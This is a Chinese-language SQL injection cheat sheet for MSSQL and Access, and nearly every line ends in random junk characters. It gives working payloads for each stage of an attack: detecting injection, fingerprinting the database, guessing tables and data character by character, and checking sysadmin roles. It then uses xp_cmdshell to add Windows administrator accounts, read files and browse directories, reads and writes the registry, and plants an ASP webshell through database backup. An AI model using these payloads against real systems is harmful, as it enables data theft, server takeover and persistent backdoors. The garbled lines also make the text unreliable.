1.判断是否有注入;and 1=1 ;and 1=2 T6=~vOzTJ
2.初步判断是否是mssql ;and user>0 "ZG2olOqLI
"gXvnl
3.注入参数是字符'and [查询条件] and ''=' #aadnbf
*#B"%;Ln
4.搜索时没过滤参数的'and [查询条件] and '%25'=' V|;os
D ~NWP%H
5.判断数据库系统 B\>3[_n
_9z+xl
;and (select count(*) from sysobjects)>0 mssql vARZwIu^D
:]`JcJ
;and (select count(*) from msysobjects)>0 access ho6,&Bp8
k-$J #
c`#4}$
oXGP6#
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =CL h<&
#3-hE
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C+-sf
q94*2@KV
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 n:JG+1I
i]0$7s9!
9.(1)猜字段的ascii值(access) LhKUZX,P8
D!bi>]Yd
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <-!'V,c
N||s#
(2)猜字段的ascii值(mssql) [Ib17#74
z_:r&UP`"
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 s1zkkLw`*
:LD+B1$y
10.测试权限结构(mssql) X Qj+]-m
wKy4Ic+RV
vtTXs]>
D 6F/9|
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,>I_2mc
_;k))K^
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Le,+jm
}Q{4G
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- C,5Erb/
o%v,6yv
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- `Ro>?H
z9^_5la#
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2Zi&=Zj"
@C5%`{\
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 4,ewp coC%
g)iw.M2
;and 1=(select IS_MEMBER('db_owner'));-- zfUkHL6
#M8>)o c
Jl89}Sf
Y1 6pT
11.添加mssql和系统的帐户 =L}$#Y8?
aGmbB7[BZ
;exec master.dbo.sp_addlogin username;-- s9Bd mD^|#
;exec master.dbo.sp_password null,username,password;-- _P{v=`]Eu
f{#Mc
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- yx/qp<=
^4>Icz^ F
;exec master.dbo.xp_cmdshell 'net user username password \J^xpR_0u
Td![Id
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 20mZ{_%
-o sxKT:
;exec master.dbo.xp_cmdshell 'net user username password /add';-- .t{?doOT
.n)0@X!
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Tq5F'@e
Q9
RCN<!
Py#iC#g~
IV$2`)[A&X
12.(1)遍历目录 X[o"9O|<
ps=QVX)YP
;create table dirs(paths varchar(100), id int) g?!;04
7R".$ p
;insert dirs exec master.dbo.xp_dirtree 'c:\' C,3yu,'
pPZ^T5-ks
;and (select top 1 paths from dirs)>0 0 mR
8\8%FSrc
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) w7h=vy n?
AmT*{Fz8
I,!>ZG@6
c#(&\g2H
(2)遍历目录 1z=}`,?>
WFFpW{
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- nB86oQ/S
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1V1T1
!)'|Y5 o
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 =_H)5I_\
.#ATI<t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 *wfkjG
ak;S Ie
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 .;~K*GC
|)u|@\{
]ch=D
G3t
4$3|
13.mssql中的存储过程 0B~Q.tyP
\{`*`WQF
xp_regenumvalues 注册表根键, 子键 K?aUIkVs
9:6d,^X
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *gXm&/2*
5V/CYcO
xp_regread 根键,子键,键值名 bLyG3~P;0
-<B{?D
;exec xp_regread TVFxEV7Fx
p=J9N-EM
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ,<?M/'4}G
WWYG>C[
xp_regwrite 根键,子键, 值名, 值类型, 值 9<I;9.1S?^
6u v'{
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Fgg4QF
_d/ZaCx'i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 VR0#"
mPo] .z
xp_regdeletevalue 根键,子键,值名 _a=f.I
\78kShx
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 9CTvG zkw
dbLxm!;(
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 I UxsvW+
b(H)8#C
A'X, zw^}
n;Etn!4M
14.mssql的backup创建webshell cZXra(AD
!4G<&hvb
use model H=k*;'
bwAL:
create table cmd(str image); & A<Pf.Us
;F<)BEXC<
insert into cmd(str) values (''); h8_~ OX
' ! ls"qo
backup database model to disk='c:\l.asp'; Aw *:5 I[
k)R>5?_
k|}S K9
JP<Z3
A2q
15.mssql内置函数 ~0>{PD$@
<=,KP)
;and (select @@version)>0 获得Windows的版本号 >h
m<$3
(&u)FB*
;and user_name()='dbo' 判断当前系统的连接用户是不是sa m=<;)
XL7jUi_4:L
;and (select user_name())>0 爆当前系统的连接用户 n`hes_{,g
@*c) s_
;and (select db_name())>0 得到当前连接的数据库 L"6@3
kY6))9 O
QP e}rQnm
\;A\ vQ[
16.简洁的webshell D0&{iZ(
J;wA
use model (8(z42
Ma3Hn
create table cmd(str image); dj76YK
6gfdXVN5
insert into cmd(str) values (''); +<ey
Iw
Up$vBE8i]
backup database model to disk='g:\wwwtest\l.asp';